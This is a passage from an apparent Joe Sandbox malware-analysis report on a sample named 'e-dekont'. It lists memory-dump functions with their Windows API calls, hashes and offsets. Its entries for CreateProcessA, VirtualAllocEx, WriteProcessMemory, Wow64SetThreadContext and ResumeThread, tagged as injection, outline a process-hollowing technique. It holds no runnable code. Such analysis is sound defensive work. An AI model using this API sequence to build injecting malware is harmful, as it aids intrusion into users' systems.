CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0761607E

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1856d6e9aa75407e889bd285883482a08ed4f714b48e9fb128ea4599890a23b5
Instruction ID: 6c8fb2971a9fb0f048135303c3071c613409ebfaa2dddd2c40d03f70a8172059
Opcode Fuzzy Hash: 1856d6e9aa75407e889bd285883482a08ed4f714b48e9fb128ea4599890a23b5
Instruction Fuzzy Hash: 24A17CB1D0021ADFDB24CFA8C8457DDBBB2BF44314F1881A9E85AA7250DB749985CF92

Uniqueness

Uniqueness Score: -1.00%

Function 07615E48 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0761607E

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c433c2de1e8f709497625ade9074d77a68f32604c5e6881b49e12a5f49a01dda
Instruction ID: 1b7edbd5edfb874ef0e6e0962e473896b4ff28f81bd0335fc3c46389ee6205f8
Opcode Fuzzy Hash: c433c2de1e8f709497625ade9074d77a68f32604c5e6881b49e12a5f49a01dda
Instruction Fuzzy Hash: D3917DB1D0021ADFDB20CFA8C8457DDBBB2BF44314F1881A9E85AA7350DB749995CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0295ADB0 Relevance: 1.7, APIs: 1, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0295B016

Memory Dump Source

Source File: 00000000.00000002.1660184429.0000000002950000.00000040.00000800.00020000.00000000.sdmp, Offset: 02950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2950000_e-dekont.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 21eceb1aad15f6a300a1934cda8b4c3b62e3153e7c2c628634e394598048c8d0
Instruction ID: e0f286dd22738d38687f192ede55f402499b2644690ba53930e05a6b435e9bb3
Opcode Fuzzy Hash: 21eceb1aad15f6a300a1934cda8b4c3b62e3153e7c2c628634e394598048c8d0
Instruction Fuzzy Hash: D4814570A007558FD724DF2AD44175ABBF5FF88304F108A29D88AD7A50D734E949CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0295590D Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 029559C9

Memory Dump Source

Source File: 00000000.00000002.1660184429.0000000002950000.00000040.00000800.00020000.00000000.sdmp, Offset: 02950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2950000_e-dekont.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a76993d02d29b592eba2fa48907b366c617a6d77a142381a89f8e032ea334062
Instruction ID: 462e1101ebd2ba896ad4f43dc95ecadd919d1709c52c9991182c53a175f7c207
Opcode Fuzzy Hash: a76993d02d29b592eba2fa48907b366c617a6d77a142381a89f8e032ea334062
Instruction Fuzzy Hash: 5141F1B0D00629CFDB24DFA9C9847DDBBB5BF48304F64806AD418AB251DB75698ACF90

Uniqueness

Uniqueness Score: -1.00%

Function 029544B0 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 029559C9

Memory Dump Source

Source File: 00000000.00000002.1660184429.0000000002950000.00000040.00000800.00020000.00000000.sdmp, Offset: 02950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2950000_e-dekont.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b4602006e2d0427a9f0cae4714b0042a05fdd4aabd228ffea87f888fc7a0e652
Instruction ID: beec43856ef82cafd45ffc4b4e78a2b4e64ed2d8295a5ecb3cd687043805e9c3
Opcode Fuzzy Hash: b4602006e2d0427a9f0cae4714b0042a05fdd4aabd228ffea87f888fc7a0e652
Instruction Fuzzy Hash: 2A41D2B0D0071DCBDB24DFA9C8447DEBBB5BF49304F64806AD408AB255DB75A94ACF90

Uniqueness

Uniqueness Score: -1.00%

Function 05063FA0 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 05064061

Memory Dump Source

Source File: 00000000.00000002.1664124841.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5060000_e-dekont.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: bbfbf041b4273da4ee5c1cbe9194aaa38e1b494f5de02a6c74439ae448ebfc37
Instruction ID: 3e4f6e5bc39e6d420271fa9912a31419c397d5a825900bff7ac32b834c23bc41
Opcode Fuzzy Hash: bbfbf041b4273da4ee5c1cbe9194aaa38e1b494f5de02a6c74439ae448ebfc37
Instruction Fuzzy Hash: 934116B4A00319DFDB14CF99D488AAEBBF6FB88314F24C459D519AB321D775A841CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07615BB9 Relevance: 1.6, APIs: 1, Instructions: 73injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07615C50

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 7891a37ba92d335e8434dda205a456fce11566a74872917ee1012008cc4c5976
Instruction ID: 26191ea4bb3a6da3097aa2052f07d70f74d04b72444ba66f7317f884a6d1d52e
Opcode Fuzzy Hash: 7891a37ba92d335e8434dda205a456fce11566a74872917ee1012008cc4c5976
Instruction Fuzzy Hash: 3F2155B29003499FCB10CFA9C884BDEBBF4FF88310F14842AE959A7250C7789950CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07615BC0 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07615C50

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 7e5648baa3eeaf8cc5615a3d58f324d765b156e0774883bc5794b149f4ae81f6
Instruction ID: 18221bea1784ff4257f90c2070feffcb4102017fbb9116b9428e3c08a9321356
Opcode Fuzzy Hash: 7e5648baa3eeaf8cc5615a3d58f324d765b156e0774883bc5794b149f4ae81f6
Instruction Fuzzy Hash: A32144B19003599FCB10CFA9C884BEEBBF5FF88310F14842AE959A7251C7789954CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 07615CA9 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07615D30

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 996fa8388da89ef11fcc8502da9128053e8f38b589af0e52e2a2d7339fe9d33b
Instruction ID: 2d82f05cf9f39ae1997f679df3de2a492d0cf6be4b961ce13e89602cca63f4ea
Opcode Fuzzy Hash: 996fa8388da89ef11fcc8502da9128053e8f38b589af0e52e2a2d7339fe9d33b
Instruction Fuzzy Hash: C02128B1C002599FCB10DFAAC884BDEFBF5FF48320F10842AE559A7250C7349955CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 07615A20 Relevance: 1.6, APIs: 1, Instructions: 67threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07615AA6

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 4932e6295f05fe57b52c326688624e7e7cc8e315ee0bb371e20e2a845a0b2121
Instruction ID: 8a4e2dba39cac33b09e5e40e0167e68eef943fd14833a107bfa41159a7a0f29e
Opcode Fuzzy Hash: 4932e6295f05fe57b52c326688624e7e7cc8e315ee0bb371e20e2a845a0b2121
Instruction Fuzzy Hash: BB2137B1D002098FDB10DFAAC4857EEFBF4EF88324F14842AD45AA7251D778A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0295B410 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0295D366,?,?,?,?,?), ref: 0295D427

Memory Dump Source

Source File: 00000000.00000002.1660184429.0000000002950000.00000040.00000800.00020000.00000000.sdmp, Offset: 02950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2950000_e-dekont.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 081645b7f6a03c7a059fc5192188e5d857911a2348c6984876202624267eebe4
Instruction ID: 346c8c6772df8f515612bea7eda8acb6844f512675cb1a81ef748f6a103b6fc6
Opcode Fuzzy Hash: 081645b7f6a03c7a059fc5192188e5d857911a2348c6984876202624267eebe4
Instruction Fuzzy Hash: B42114B5900318DFDB10CF9AD984AEEBBF8EB48310F10805AE958A3350C374A940CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0295D398 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0295D366,?,?,?,?,?), ref: 0295D427

Memory Dump Source

Source File: 00000000.00000002.1660184429.0000000002950000.00000040.00000800.00020000.00000000.sdmp, Offset: 02950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2950000_e-dekont.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5395a0601cee30397edaa2d3d4a55e01e2b8f707ed5569a90c42692a344e57a7
Instruction ID: 6a1674aafdbaaa89e6eb62b59212d1c37ff2dfa1878a087a469ef646be9a40fd
Opcode Fuzzy Hash: 5395a0601cee30397edaa2d3d4a55e01e2b8f707ed5569a90c42692a344e57a7
Instruction Fuzzy Hash: E421E4B5D00258DFDB10CFA9D584ADEBBF4FB08310F14841AE958A3350D378A941CF65

Uniqueness

Uniqueness Score: -1.00%

Function 07615CB0 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07615D30

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 5a69ee8e6f3d172227c17da57106e715263c6095b74bea71f4517313e2407680
Instruction ID: e6484cd998f278ea8393ed50f7a87b0d1c2c9cd4ab0f5c3758a2000a05c6b30b
Opcode Fuzzy Hash: 5a69ee8e6f3d172227c17da57106e715263c6095b74bea71f4517313e2407680
Instruction Fuzzy Hash: B42128B1C002599FCB10DFAAC884BDEFBF5FF48310F10842AE559A7250C7349554CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 07615A28 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07615AA6

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: d121f4216f2e47d757f4d33681cd215d7a8bd51bb01dde277f9a847c7f7d85df
Instruction ID: e8337cfdac604d7844a0fed7b292d6311704f035cd073241a9363f5888ce329e
Opcode Fuzzy Hash: d121f4216f2e47d757f4d33681cd215d7a8bd51bb01dde277f9a847c7f7d85df
Instruction Fuzzy Hash: 462138B1D002098FDB10DFAAC4857EEFBF4EF88324F14842AD459A7251C7789944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 076180E1 Relevance: 1.6, APIs: 1, Instructions: 59windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 076180AD

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 77752e77e527d9d709678b8293bf013aac0736c8eba8f7c41eb9365fa2e0294d
Instruction ID: d2a2867a60d301de02ae2a6b870d1b993f63bf33142057844040c2e8794530f0
Opcode Fuzzy Hash: 77752e77e527d9d709678b8293bf013aac0736c8eba8f7c41eb9365fa2e0294d
Instruction Fuzzy Hash: B311B4B2A0431A8FDB11DFA5D9093EEBBF1AF44320F194469D442B7350CB795900CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 07615AF8 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07615B6E

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6c2b4fe3faea1122637b1375c6a7fda4207e7ea59039fe605b3b21d2d865df8d
Instruction ID: 34716beaedc9baf7566f0f69c6dc7e08b3ce898f699e164c2e82c3a1156bf534
Opcode Fuzzy Hash: 6c2b4fe3faea1122637b1375c6a7fda4207e7ea59039fe605b3b21d2d865df8d
Instruction Fuzzy Hash: 54115CB68002499FCB10DFA9C844BDEFFF5EF88324F148419D555A7250C7359550CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0295B048 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0295B491,00000800,00000000,00000000), ref: 0295B682

Memory Dump Source

Source File: 00000000.00000002.1660184429.0000000002950000.00000040.00000800.00020000.00000000.sdmp, Offset: 02950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2950000_e-dekont.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e6cf9cc1ba4bfbe5273b3dbeb3e5bbecd00760faf64df91a9c300ffaa0018086
Instruction ID: 37a393b428f863fa385e3de351cea8f9aaa38e9df05db75ac1dfb1e0787ba18d
Opcode Fuzzy Hash: e6cf9cc1ba4bfbe5273b3dbeb3e5bbecd00760faf64df91a9c300ffaa0018086
Instruction Fuzzy Hash: D01126B6D013589FDB10CF9AD444AEEFBF4EB48328F10842AE859A7210C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0295B610 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0295B491,00000800,00000000,00000000), ref: 0295B682

Memory Dump Source

Source File: 00000000.00000002.1660184429.0000000002950000.00000040.00000800.00020000.00000000.sdmp, Offset: 02950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2950000_e-dekont.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6839bd95b5a0e29ac4600a6c5b0a83cd9f629517b9a5a2c77970444863070aa6
Instruction ID: 9d37d64a657b09b8fdc05a76bd04b71ac7fbb1e18566d936e132e45edfd59b65
Opcode Fuzzy Hash: 6839bd95b5a0e29ac4600a6c5b0a83cd9f629517b9a5a2c77970444863070aa6
Instruction Fuzzy Hash: A81123B6D013588FCB10CFAAD544BDEFBF4EB58324F10842AD859A7610C375A546CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07615B00 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07615B6E

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2609d7eb0d92f476349e64b5ef1383ffc2283a0536c69d2f29558747bcceb241
Instruction ID: 8c36bec88dd6645c89f1d406c2bd9f98da41acbd65b08ae7e81621ed1ffeedc5
Opcode Fuzzy Hash: 2609d7eb0d92f476349e64b5ef1383ffc2283a0536c69d2f29558747bcceb241
Instruction Fuzzy Hash: 6E116AB18002499FCB10DFA9C844BDEFFF5EF88324F148419D559A7250C7359550CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0761553A Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(00000004), ref: 076155A2

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: e60e47bc68c69f7c1bade9f84f737c058a5363385856c981d9e5d13eb22b9f6e
Instruction ID: 1e52a07e2923e158b1a2158b1e2dd7b7777905182a3cc689e0a23c2c8d4412d9
Opcode Fuzzy Hash: e60e47bc68c69f7c1bade9f84f737c058a5363385856c981d9e5d13eb22b9f6e
Instruction Fuzzy Hash: 4C1158B19002488FDB10DFAAC4487DEFBF5AF88324F24842AD45AA7250C635A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07615540 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(00000004), ref: 076155A2

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: bdcd4c6ade21a9df428f0e017e45e79660aab24304330d003255bff8f6465529
Instruction ID: 14b7c9704d912a6bde365323588d95e730b33996ec81ac81dc9221a8cdb9e3ed
Opcode Fuzzy Hash: bdcd4c6ade21a9df428f0e017e45e79660aab24304330d003255bff8f6465529
Instruction Fuzzy Hash: EB113AB1D002498FCB10DFAAC4497DEFBF5EF88324F248419D45AA7250C775A544CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0295AFB0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0295B016

Memory Dump Source

Source File: 00000000.00000002.1660184429.0000000002950000.00000040.00000800.00020000.00000000.sdmp, Offset: 02950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2950000_e-dekont.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 9c2630f7c0927ec34d856a37cab0a0a8fcde9686349e09c22e0853dd5828f569
Instruction ID: 764adba90273aab6a806fe2c332413c849bda954e24b537a9e3d5b38b31d3483
Opcode Fuzzy Hash: 9c2630f7c0927ec34d856a37cab0a0a8fcde9686349e09c22e0853dd5828f569
Instruction Fuzzy Hash: C71102B6D003598FCB20DF9AC444ADEFBF4AF49324F10842AD869A7210C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07618048 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 076180AD

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: b1d0d4188bb08f7f8b0998e02a4650ed870141d8031982edf7591cb52580e593
Instruction ID: 67904d73fab7d10ed790c202dab2d454f7ea79dad8ab5d61662d0824ee4b8f3d
Opcode Fuzzy Hash: b1d0d4188bb08f7f8b0998e02a4650ed870141d8031982edf7591cb52580e593
Instruction Fuzzy Hash: B21103B58003499FDB10DF9AC849BDEBBF8EB48324F14841AE559A7310C375AA84CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07614038 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 076180AD

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 4eea92285e602ee37bacdee26665c5e566e53df1c9b60bad3ce99ef6aca82609
Instruction ID: c6f25d89879f08c71ad66972ceac611d2f9b16a98d480568c5a4fa42694ee913
Opcode Fuzzy Hash: 4eea92285e602ee37bacdee26665c5e566e53df1c9b60bad3ce99ef6aca82609
Instruction Fuzzy Hash: E91122B58003499FDB20DF9AC848BDEBBF8EB48320F10841AE559A7210C375A980CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 073F7714 Relevance: 1.4, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

Te^q, xrefs: 073F97D9

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: e1a3a6c348cd176266ef78e3f03d0be3a2c4a5baa08eab39f5c764e44a08ebef
Instruction ID: 5ef9c4e3e3c0d30c39401486e382f71d379bb1d521a72fd4e6eef22110e169fb
Opcode Fuzzy Hash: e1a3a6c348cd176266ef78e3f03d0be3a2c4a5baa08eab39f5c764e44a08ebef
Instruction Fuzzy Hash: 7051BE70B002068FDB15DF79884896EBBF6EFC4360714892AE429DB395EB30DD0587A1

Uniqueness

Uniqueness Score: -1.00%

Function 073F727F Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

O};5, xrefs: 073F72C8

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: O};5
API String ID: 0-3558557551
Opcode ID: 1b56a7efe16fe2c8470d468330aae912952aa549d588193b2a0eba9f4053b08f
Instruction ID: 06960bcea7cbd161a947d18acb11a4b98f1d29d1b321f0988af3f6ced427a075
Opcode Fuzzy Hash: 1b56a7efe16fe2c8470d468330aae912952aa549d588193b2a0eba9f4053b08f
Instruction Fuzzy Hash: 3D418DB0A10209EFDB44CF99D98449DBFF2FB89250FE4D895D009E7764D3359A61CB10

Uniqueness

Uniqueness Score: -1.00%

Function 073F7290 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

O};5, xrefs: 073F72C8

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: O};5
API String ID: 0-3558557551
Opcode ID: 9f9d061fd0f4109a93533c4940382febace4d0f98b0b5c55482c3d1742dcb7ea
Instruction ID: 6c908eea88d80a310bcfcc70f2e4d4238c97414e16fbec0f17d3c1cedb67c3bb
Opcode Fuzzy Hash: 9f9d061fd0f4109a93533c4940382febace4d0f98b0b5c55482c3d1742dcb7ea
Instruction Fuzzy Hash: 8B418DB0A14209EFDB44CF95D9858AEBBF2FB89340FE0D895D009A7364D734AA60CB14

Uniqueness

Uniqueness Score: -1.00%

Function 073F9598 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

Te^q, xrefs: 073F9603

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 2ae8d49f66b6ed9f02ad4be73e77be7f1f0de3ab53f49055f9cacce3cb5be484
Instruction ID: f877b0d38320caac92f58357f7ba4f0b9fa1d10e5431e6354f81554f7efa11e5
Opcode Fuzzy Hash: 2ae8d49f66b6ed9f02ad4be73e77be7f1f0de3ab53f49055f9cacce3cb5be484
Instruction Fuzzy Hash: 2D115EB1B0021A8BDB14EBB999006EFB7F6ABD4250B50006AC509E7344EF359E06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 073FC110 Relevance: 1.3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

Strings

B!p, xrefs: 073FC113

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: B!p
API String ID: 0-1355146339
Opcode ID: b533b1556187412b07be9f2a623912a7e93b74fa805edb4ed5269702e609e327
Instruction ID: 63b29ab91b38575992d9224bddfafde5aaac94e21e8afa88b0279024fdd19c74
Opcode Fuzzy Hash: b533b1556187412b07be9f2a623912a7e93b74fa805edb4ed5269702e609e327
Instruction Fuzzy Hash: CBD0127715010D9EAB40EE94E800C56B7DDBB14750700C422F64CC7021E621E434D761

Uniqueness

Uniqueness Score: -1.00%

Function 073FB94A Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d156ea227940a88423b592c45b6c898e890809c0ea786ad2fce0d7d42af6179c
Instruction ID: b39b76a8310cabd4334fbd9ab2924caaae144ffe6da23981c6d2d3cf8b8367f3
Opcode Fuzzy Hash: d156ea227940a88423b592c45b6c898e890809c0ea786ad2fce0d7d42af6179c
Instruction Fuzzy Hash: CC61C1F0A44115DFE708CBB9D855BBEBAF2AB84340F148066E6999B2D9C738C942CB51

Uniqueness

Uniqueness Score: -1.00%

Function 073F1807 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab242d56d42400258f6dfca79dba41543febcdf6578301032b93174b1ae6b948
Instruction ID: 5aa86449458d5d45560c116684170a53bca21b4f5abb5a5b58d1041862e1c074
Opcode Fuzzy Hash: ab242d56d42400258f6dfca79dba41543febcdf6578301032b93174b1ae6b948
Instruction Fuzzy Hash: D25122F5A1411DCBE7008F69E9402BEF7B6FB45394F14826AEA6EDB680C738D940CB51

Uniqueness

Uniqueness Score: -1.00%

Function 073F7128 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
